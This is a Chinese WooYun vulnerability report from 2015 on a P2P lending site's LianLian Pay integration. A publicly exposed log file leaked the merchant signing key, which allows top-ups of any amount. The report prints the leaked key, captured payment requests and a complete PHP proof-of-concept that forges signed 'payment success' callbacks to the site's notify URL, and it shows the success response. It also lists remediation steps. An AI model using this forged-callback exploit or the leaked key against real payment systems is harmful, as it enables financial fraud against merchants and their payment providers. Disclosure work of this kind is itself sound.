P2P南海创投支付接口敏感信息泄漏可导致任意金额充值(刷钱洞)

编号132964
Urlhttp://www.wooyun.org/bug.php?action=view&id=132964
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题P2P南海创投支付接口敏感信息泄漏可导致任意金额充值(刷钱洞)
漏洞类型敏感信息泄露
厂商南海创投
白帽子秋风
提交日期2015-08-10 11:41:00
公开日期2015-09-24 11:42:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签第三方不可信程序 敏感信息泄露
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
@301 我是来给你拉客户的。
可批量,可批量,可批量。重要的漏洞发三遍!
漏洞细节

参考资料: WooYun: 爱贷网高隐匿任意金额充值实战¥0成本从充值到提现全过程回放
参考资料:http://open.lianlianpay.com/
泄漏log文件:http://www.nanhaict.com/log.txt

签名原串:busi_partner=101001&dt_order=20150226100317&money_order=0.01&name_goods=账号充值&no_order=14249161976702&notify_url=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_notify_url.php&oid_partner=201502051000206505&sign_type=MD5&timestamp=20150226100317&url_return=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_return_url.php&user_id=670&version=1.0&key=201502051000206505nhct_20150225
签名:7c795ede7c1bc592b2b3de205f19eb39
签名原串:busi_partner=101001&dt_order=20150226101647&money_order=0.01&name_goods=账号充值&no_order=14249170076701&notify_url=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_notify_url.php&oid_partner=201502051000206505&sign_type=MD5&timestamp=20150226101647&url_return=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_return_url.php&user_id=670&version=1.0&key=201502051000206505nhct_20150225
签名:b02fbcf4b6a7797a570305487c6031b3
签名原串:busi_partner=101001&dt_order=20150226145604&money_order=0.01&name_goods=账号充值&no_order=14249337646706&notify_url=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_notify_url.php&oid_partner=201502051000206505&sign_type=MD5&timestamp=20150226145604&url_return=http://www.nanhaict.com/modules/payment/classes/llpay/llpay_return_url.php&user_id=670&version=1.0&key=201502051000206505nhct_20150225
签名:a778bb8f35a360b3fe90cb5793cb4aa0


商户KEY:201502051000206505nhct_20150225
测试订单号:143914454533084
支付提交抓包记录
============================

POST /payment/bankgateway.htm HTTP/1.1
Host: yintong.com.cn
Connection: keep-alive
Content-Length: 654
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.nanhaict.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.nanhaict.com/index.php?user&q=code/account/recharge_new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
version=1.0&charset_name=utf-8&oid_partner=201502051000206505&user_id=3308&timestamp=20150810022225&sign_type=MD5&sign=a77d43c9a2fcccb9476639e6627a7126&busi_partner=101001&no_order=143914454533084&dt_order=20150810022225&name_goods=%E8%B4%A6%E5%8F%B7%E5%85%85%E5%80%BC&info_order=&money_order=10000&notify_url=http%3A%2F%2Fwww.nanhaict.com%2Fmodules%2Fpayment%2Fclasses%2Fllpay%2Fllpay_notify_url.php&url_return=http%3A%2F%2Fwww.nanhaict.com%2Fmodules%2Fpayment%2Fclasses%2Fllpay%2Fllpay_return_url.php&userreq_ip=&url_order=&valid_order=&bank_code=&pay_type=&no_agree=&shareing_data=&risk_item=&id_type=&id_no=&acct_name=&flag_modify=&card_no=&back_url=


复制抓到的post数据,直接放置到最后的poc文件即可

POC

11111.jpg


POC代码:
php payway.php
{'ret_code':'0000','ret_msg':'交易成功'}

<?php
// 模拟第三方支付向服务器发包
// 自行修改商户私密KEY,以及抓包的字符串,其它代码不要动。
// 代码已做兼容处理,web支付和wap支付已做过测试。app的后边有实际案例我再加。
// 我是商户私密KEY
define("KEY", '201502051000206505nhct_20150225');
// 支付抓包的值放到这里
$str = <<<STR
version=1.0&charset_name=utf-8&oid_partner=201502051000206505&user_id=3308&timestamp=20150810022225&sign_type=MD5&sign=a77d43c9a2fcccb9476639e6627a7126&busi_partner=101001&no_order=143914454533084&dt_order=20150810022225&name_goods=%E8%B4%A6%E5%8F%B7%E5%85%85%E5%80%BC&info_order=&money_order=10000&notify_url=http%3A%2F%2Fwww.nanhaict.com%2Fmodules%2Fpayment%2Fclasses%2Fllpay%2Fllpay_notify_url.php&url_return=http%3A%2F%2Fwww.nanhaict.com%2Fmodules%2Fpayment%2Fclasses%2Fllpay%2Fllpay_return_url.php&userreq_ip=&url_order=&valid_order=&bank_code=&pay_type=&no_agree=&shareing_data=&risk_item=&id_type=&id_no=&acct_name=&flag_modify=&card_no=&back_url=
STR;
// ====================以下代码不必修改=================================
$arr = json_decode($str, true);
if (json_last_error()) {
$str = urldecode($str);
parse_str($str, $str);
$str = json_encode($str);
$arr = json_decode($str, true);
}
$acct_name = $arr['acct_name'];//真实姓名
$id_no = $arr['id_no']; // 身份证号
$no_agree = $arr['no_agree']; // 签约协议号
$info_order = $arr['info_order']; // 订单描述信息
$money_order = $arr['money_order']; // 交易金额
$no_order = $arr['no_order']; // 商户唯一订单号
$dt_order = $arr['dt_order']; // 商户订单时间
$sign_type = $arr['sign_type']; // 签名方式
$oid_partner = $arr['oid_partner']; // 商户唯一编号
$pay_type = $arr['pay_type'] == '1' ? 1 : 2; // 2:快捷支付 (默认)D:认证支付
$bank_code = isset($arr['bank_code']) ? $arr['bank_code'] : ""; // 银行代码
$settle_date = date("Y-m-d"); // 清算日期
$result_pay = 'SUCCESS'; // 支付结果
$oid_paybill = ''; // 连连支付支付单号
$id_type = 0;
$key = KEY;
// 签名
$_acct_name = unicode_encode($acct_name, 'utf-8', true, 'u', '');
$_acct_name = $_acct_name == 'u' ? "" : $_acct_name;
$_info_order = unicode_encode($info_order, 'utf-8', true, 'u', '');
$_info_order = $_info_order == 'u' ? "" : $_info_order;
$sign = "info_order={$_info_order}&bank_code={$bank_code}&acct_name={$_acct_name}&dt_order={$dt_order}&id_no={$id_no}&id_type={$id_type}&money_order={$money_order}&no_agree={$no_agree}&no_order={$no_order}&oid_partner={$oid_partner}&pay_type={$pay_type}&result_pay={$result_pay}&settle_date={$settle_date}&sign_type={$sign_type}";
parse_str($sign, $sign);
$sign = paraFilter($sign);
ksort($sign);
reset($sign);
echo $sign = createLinkstring($sign) . "&key={$key}";
echo "\n";
echo $sign = md5($sign); // 签名
$url = $arr['notify_url']; // 商户后台通知地址
$fields = json_encode(array(
'oid_partner' => $oid_partner,
'sign_type' => $sign_type,
'sign' => $sign,
'dt_order' => $dt_order,
'no_order' => $no_order,
'oid_paybill' => $oid_paybill,
'money_order' => $money_order,
'result_pay' => $result_pay,
'settle_date' => $settle_date,
'info_order' => $info_order,
'pay_type' => $pay_type,
'bank_code' => $bank_code,
'no_agree' => $no_agree,
'id_type' => $id_type,
'id_no' => $id_no,
'acct_name' =>$acct_name,
));
$fields = (is_array($fields)) ? http_build_query($fields) : $fields;
print_r($fields);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$re=curl_exec($ch);
curl_close($ch);
echo $re;
/**
* 除去数组中的空值和签名参数
* @param $para 签名参数组
* return 去掉空值与签名参数后的新签名参数组
*/
function paraFilter($para) {
$para_filter = array();
while (list ($key, $val) = each ($para)) {
if($key == "sign" || $val == "")continue;
else $para_filter[$key] = $para[$key];
}
return $para_filter;
}
/**
* 汉字转Unicode编码
* @param string $str 原始汉字的字符串
* @param string $encoding 原始汉字的编码
* @param boot $ishex 是否为十六进制表示(支持十六进制和十进制)
* @param string $prefix 编码后的前缀
* @param string $postfix 编码后的后缀
*/
function unicode_encode($str, $encoding = 'UTF-8', $ishex = false, $prefix = '&#', $postfix = ';') {
$str = iconv($encoding, 'UCS-2', $str);
$arrstr = str_split($str, 2);
$unistr = '';
for($i = 0, $len = count($arrstr); $i < $len; $i++) {
$dec = $ishex ? bin2hex($arrstr[$i]) : hexdec(bin2hex($arrstr[$i]));
$unistr .= $prefix . $dec . $postfix;
}
return $unistr;
}
/**
* 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
* @param $para 需要拼接的数组
* return 拼接完成以后的字符串
*/
function createLinkstring($para) {
$arg = "";
while (list ($key, $val) = each ($para)) {
$arg.=$key."=".$val."&";
}
$arg = substr($arg,0,count($arg)-2);
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
return $arg;
}
/* End of file */

修复方案

1.WEB根目录权限不要777,尽量不给写入权限。
2.删除相关log记录代码
3.删除log.txt文件
4.找厂商修改相关私密KEY(不改后边被人利用我不负责的噢)
5.避免那个啥风险,提现我就不测了,点到为止。
6.麻烦帮我把我的账号注销掉。

状态信息 2015-08-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-24: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝漏洞Rank:15 (WooYun评价)